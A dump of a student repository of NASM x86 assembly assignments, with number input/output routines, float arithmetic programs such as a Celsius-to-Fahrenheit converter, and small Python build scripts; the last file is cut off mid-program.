https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/1.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/2 -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/2.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/2.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/2.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/2.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/3.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/3.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/3.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/3.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/4.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/4.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/4.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/4.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/5.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/5.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/5.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/5.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/6.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/6.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/6.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/6.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/7.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/7.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/7.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/7.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/8.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/8.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/8.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/8.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/9.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/9.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/9.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/9.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/Assignment 3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/Assignment 3.pdf -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/m: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | 5 | if __name__ == '__main__' : 6 | os.system('nasm -f elf {0}.asm'.format(sys.argv[1])) 7 | os.system('ld -melf_i386 {0}.o -o {0}.aos'.format(sys.argv[1])) 8 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/q7.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/q7.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_3/q7.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_3/q7.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/.1.asm.swp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/.1.asm.swp -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/.float.asm.swp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/.float.asm.swp -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/1.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/1.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/1.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/1.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/10.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/10.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/10.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/10.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/2.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/2.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/2.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/2.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/3.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/3.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/3.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/3.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/4.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/4.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/4.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/4.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/5.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/5.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/5.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/5.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/6.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/6.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/6.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/6.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/7.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/7.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/7.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/7.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/8.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/8.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/8.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/8.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/9.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/9.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/9.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/9.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Assignment 4.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/Assignment 4.pdf -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/NASM Tutorial.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/NASM Tutorial.pdf -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/1.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/Prac/1.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/1.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/Prac/1.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/1_0.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/Prac/1_0.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/1_0.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/Prac/1_0.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/2.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/Prac/2.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/2.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/Prac/2.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/9.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/Prac/9.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/9.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/Prac/9.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/float.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/float.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/float.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | format_in : db "%lf" 4 | format_out : db "Number : %lf",10 5 | 6 | section .bss 7 | a : resw 1 8 | b : resw 1 9 | c : resw 1 10 | t : resw 1 11 | temp : resw 1 12 | num : resw 1 13 | count : resb 1 14 | 15 | section .text 16 | global main 17 | extern scanf 18 | extern printf 19 | main : 20 | call _scan_float 21 | call _print_float 22 | 23 | jmp exit 24 | 25 | _scan_float : 26 | pusha 27 | push ebp 28 | mov ebp , esp 29 | sub esp , 8 30 | lea eax , [esp] 31 | push eax 32 | push format_in 33 | call scanf 34 | fld qword[ebp-8] 35 | mov esp , ebp 36 | pop ebp 37 | popa 38 | ret 39 | 40 | _print_float : 41 | pusha 42 | push ebp 43 | mov ebp , esp 44 | sub esp , 8 45 | fst qword[ebp-8] 46 | push format_out 47 | call printf 48 | mov esp , ebp 49 | pop ebp 50 | popa 51 | ret 52 | 53 | ; Read Multiple Digits 54 | read : 55 | mov word[temp] , 0 56 | _read : 57 | mov eax , 3 58 | mov ebx , 0 59 | mov ecx , t 60 | mov edx , 1 61 | int 80h 62 | cmp word[t] , 10 63 | je rRet 64 | 65 | sub word[t] , 30h 66 | mov ax , word[temp] 67 | mov bx , 10 68 | mul bx 69 | add ax , word[t] 70 | mov word[temp] , ax 71 | jmp _read 72 | rRet : 73 | mov ax , word[temp] 74 | ret 75 | 76 | ; Print Multiple Digits 77 | print : 78 | mov byte[count] , 0 79 | pusha 80 | digs : 81 | cmp word[temp] , 0 82 | je print_ 83 | inc byte[count] 84 | mov edx , 0 85 | mov ax , word[temp] 86 | mov bx , 10 87 | div bx 88 | push edx 89 | mov word[temp] , ax 90 | jmp digs 91 | 92 | print_ : 93 | cmp byte[count] , 0 94 | je pRet 95 | dec byte[count] 96 | pop edx 97 | mov word[t] , dx 98 | add byte[t] , 30h 99 | 100 | mov eax , 4 101 | mov ebx , 1 102 | mov ecx , t 103 | mov edx , 1 104 | int 80h 105 | jmp print_ 106 | 107 | pRet : 108 | mov eax , 4 109 | mov ebx , 1 110 | mov ecx , nl 111 | mov edx , 1 112 | int 80h 113 | 114 | popa 115 | ret 116 | 117 | ; Exit 118 | exit : 119 | mov eax , 1 120 | mov ebx , 0 121 | int 80h 122 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/float.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_4/float.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/int.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | format_in : db "%d" 4 | format_out : db "Number : %d",10 5 | 6 | section .bss 7 | a : resw 1 8 | b : resw 1 9 | c : resw 1 10 | t : resw 1 11 | temp : resw 1 12 | num : resw 1 13 | count : resb 1 14 | 15 | section .text 16 | global main 17 | extern scanf 18 | extern printf 19 | main : 20 | call _scan 21 | call _print 22 | 23 | jmp exit 24 | 25 | _scan : 26 | pusha 27 | push ebp 28 | mov ebp , esp 29 | sub esp , 2 30 | lea eax , [ebp-2] 31 | push eax 32 | push format_in 33 | call scanf 34 | mov ax , word[ebp-2] 35 | mov word[temp] , ax 36 | mov esp , ebp 37 | pop ebp 38 | popa 39 | ret 40 | 41 | _print : 42 | pusha 43 | push ebp 44 | mov ebp , esp 45 | sub esp , 2 46 | mov ax , word[temp] 47 | mov word[ebp-2] , ax 48 | push format_out 49 | call printf 50 | mov esp , ebp 51 | pop ebp 52 | popa 53 | ret 54 | 55 | ; Read Multiple Digits 56 | read : 57 | mov word[temp] , 0 58 | _read : 59 | mov eax , 3 60 | mov ebx , 0 61 | mov ecx , t 62 | mov edx , 1 63 | int 80h 64 | cmp word[t] , 10 65 | je rRet 66 | 67 | sub word[t] , 30h 68 | mov ax , word[temp] 69 | mov bx , 10 70 | mul bx 71 | add ax , word[t] 72 | mov word[temp] , ax 73 | jmp _read 74 | rRet : 75 | mov ax , word[temp] 76 | ret 77 | 78 | ; Print Multiple Digits 79 | print : 80 | mov byte[count] , 0 81 | pusha 82 | digs : 83 | cmp word[temp] , 0 84 | je print_ 85 | inc byte[count] 86 | mov edx , 0 87 | mov ax , word[temp] 88 | mov bx , 10 89 | div bx 90 | push edx 91 | mov word[temp] , ax 92 | jmp digs 93 | 94 | print_ : 95 | cmp byte[count] , 0 96 | je pRet 97 | dec byte[count] 98 | pop edx 99 | mov word[t] , dx 100 | add byte[t] , 30h 101 | 102 | mov eax , 4 103 | mov ebx , 1 104 | mov ecx , t 105 | mov edx , 1 106 | int 80h 107 | jmp print_ 108 | 109 | pRet : 110 | mov eax , 4 111 | mov ebx , 1 112 | mov ecx , nl 113 | mov edx , 1 114 | int 80h 115 | 116 | popa 117 | ret 118 | 119 | ; Exit 120 | exit : 121 | mov eax , 1 122 | mov ebx , 0 123 | int 80h 124 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/m: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | cmd = os.system 5 | name = sys.argv[1] 6 | try : 7 | kind = int(sys.argv[2]) 8 | except : 9 | kind = 1 10 | 11 | if __name__ == '__main__' : 12 | cmd('nasm -f elf {0}.asm'.format(name)) 13 | if kind == 1 : 14 | cmd('ld -melf_i386 {0}.o -o {0}.aos'.format(name)) 15 | elif kind == 2 : 16 | cmd('gcc -m32 {0}.o -o {0}.aos'.format(name)) 17 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/make: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | name = sys.argv[1] 5 | try : 6 | kind = int(sys.argv[2]) 7 | except : 8 | kind = 1 9 | 10 | if __name__ == '__main__' : 11 | os.system('nasm -f elf {0}.asm'.format(name)) 12 | if kind == 1 : 13 | os.system('ld -melf_i386 {0}.o -o {0}.aos'.format(name)) 14 | elif kind == 2 : 15 | os.system('gcc -m32 {0}.o -o {0}.aos'.format(name)) 16 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/template.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | 4 | section .bss 5 | a : resw 1 6 | b : resw 1 7 | c : resw 1 8 | t : resw 1 9 | temp : resw 1 10 | num : resw 1 11 | count : resb 1 12 | 13 | section .text 14 | global _start 15 | _start : 16 | call read 17 | mov word[a] , ax 18 | 19 | mov word[temp] , ax 20 | call print 21 | 22 | jmp exit 23 | 24 | ; Read Multiple Digits 25 | read : 26 | mov word[temp] , 0 27 | _read : 28 | mov eax , 3 29 | mov ebx , 0 30 | mov ecx , t 31 | mov edx , 1 32 | int 80h 33 | cmp word[t] , 10 34 | je rRet 35 | 36 | sub word[t] , 30h 37 | mov ax , word[temp] 38 | mov bx , 10 39 | mul bx 40 | add ax , word[t] 41 | mov word[temp] , ax 42 | jmp _read 43 | rRet : 44 | mov ax , word[temp] 45 | ret 46 | 47 | ; Print Multiple Digits 48 | print : 49 | mov byte[count] , 0 50 | pusha 51 | digs : 52 | cmp word[temp] , 0 53 | je print_ 54 | inc byte[count] 55 | mov edx , 0 56 | mov ax , word[temp] 57 | mov bx , 10 58 | div bx 59 | push edx 60 | mov word[temp] , ax 61 | jmp digs 62 | 63 | print_ : 64 | cmp byte[count] , 0 65 | je pRet 66 | dec byte[count] 67 | pop edx 68 | mov word[t] , dx 69 | add byte[t] , 30h 70 | 71 | mov eax , 4 72 | mov ebx , 1 73 | mov ecx , t 74 | mov edx , 1 75 | int 80h 76 | jmp print_ 77 | 78 | pRet : 79 | mov eax , 4 80 | mov ebx , 1 81 | mov ecx , nl 82 | mov edx , 1 83 | int 80h 84 | 85 | popa 86 | ret 87 | 88 | ; Exit 89 | exit : 90 | mov eax , 1 91 | mov ebx , 0 92 | int 80h 93 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/1.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/1.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/1.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | pa : db "Enter Celsius : " 4 | la : equ $-pa 5 | five : dw 5 6 | nine : dw 9 7 | zero : dq 0 8 | thirytwo : dw 32 9 | format_in : db "%lf",0 10 | format_out : db "Fahrenheit : %lf",10,0 11 | 12 | section .bss 13 | c : resq 1 14 | f : resq 1 15 | t_float : resq 1 16 | 17 | section .text 18 | global main 19 | extern scanf 20 | extern printf 21 | main : 22 | mov eax , 4 23 | mov ebx , 1 24 | mov ecx , pa 25 | mov edx , la 26 | int 80h 27 | 28 | call _scan_float 29 | fst qword[c] 30 | 31 | ffree ST0 32 | fld qword[zero] 33 | fiadd word[nine] 34 | fidiv word[five] 35 | fmul qword[c] 36 | fiadd word[thirytwo] 37 | 38 | mov eax , format_out 39 | call _print_float 40 | 41 | jmp exit 42 | 43 | _scan_float : 44 | pusha 45 | push ebp 46 | mov ebp , esp 47 | sub esp , 8 48 | lea eax , [esp] 49 | push eax 50 | push format_in 51 | call scanf 52 | fld qword[ebp-8] 53 | fst qword[t_float] 54 | mov esp , ebp 55 | pop ebp 56 | popa 57 | ret 58 | 59 | _print_float : 60 | pusha 61 | push ebp 62 | mov ebp , esp 63 | sub esp , 8 64 | fst qword[ebp-8] 65 | push eax 66 | call printf 67 | mov esp , ebp 68 | pop ebp 69 | popa 70 | ret 71 | 72 | clearStack : 73 | pusha 74 | ffree ST0 75 | ffree ST1 76 | ffree ST2 77 | ffree ST3 78 | ffree ST4 79 | ffree ST5 80 | ffree ST6 81 | ffree ST7 82 | popa 83 | ret 84 | 85 | ; Exit 86 | exit : 87 | mov eax , 1 88 | mov ebx , 0 89 | int 80h 90 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/1.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/1.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/2.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/2.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/2.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | pa : db "Enter A Number : " 4 | la : equ $-pa 5 | format_in : db "%lf",0 6 | format_out : db "Product : %lf",10,0 7 | 8 | section .bss 9 | a : resq 1 10 | t_float : resq 1 11 | 12 | section .text 13 | global main 14 | extern scanf 15 | extern printf 16 | main : 17 | mov eax , 4 18 | mov ebx , 1 19 | mov ecx , pa 20 | mov edx , la 21 | int 80h 22 | 23 | call _scan_float 24 | fst qword[a] 25 | 26 | mov eax , 4 27 | mov ebx , 1 28 | mov ecx , pa 29 | mov edx , la 30 | int 80h 31 | 32 | call _scan_float 33 | fmul qword[a] 34 | 35 | mov eax , format_out 36 | call _print_float 37 | 38 | jmp exit 39 | 40 | _scan_float : 41 | pusha 42 | push ebp 43 | mov ebp , esp 44 | sub esp , 8 45 | lea eax , [esp] 46 | push eax 47 | push format_in 48 | call scanf 49 | fld qword[ebp-8] 50 | fst qword[t_float] 51 | mov esp , ebp 52 | pop ebp 53 | popa 54 | ret 55 | 56 | _print_float : 57 | pusha 58 | push ebp 59 | mov ebp , esp 60 | sub esp , 8 61 | fst qword[ebp-8] 62 | push eax 63 | call printf 64 | mov esp , ebp 65 | pop ebp 66 | popa 67 | ret 68 | 69 | clearStack : 70 | pusha 71 | ffree ST0 72 | ffree ST1 73 | ffree ST2 74 | ffree ST3 75 | ffree ST4 76 | ffree ST5 77 | ffree ST6 78 | ffree ST7 79 | popa 80 | ret 81 | 82 | ; Exit 83 | exit : 84 | mov eax , 1 85 | mov ebx , 0 86 | int 80h 87 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/2.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/2.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/3.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/3.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/3.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/3.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/4.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/4.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/4.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/4.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/5.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/5.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/5.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/5.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/6.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/6.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/6.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/6.o -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/7.aos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S4/CO/NASM/Assignment_5/7.aos -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_5/7.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | pa : db "Enter X : " 4 | la : equ $-pa 5 | five : dw 5 6 | nine : dw 9 7 | format_in : db "%lf",0 8 | format_out : db "F(X) : %lf",10,0 9 | 10 | section .bss 11 | x : resq 1 12 | x2 : resq 1 13 | x3 : resq 1 14 | t_float : resq 1 15 | 16 | section .text 17 | global main 18 | extern scanf 19 | extern printf 20 | main : 21 | mov eax , 4 22 | mov ebx , 1 23 | mov ecx , pa 24 | mov edx , la 25 | int 80h 26 | 27 | call _scan_float 28 | fst qword[x] 29 | 30 | fmul qword[x] 31 | fst qword[x2] 32 | 33 | fmul qword[x] 34 | fst 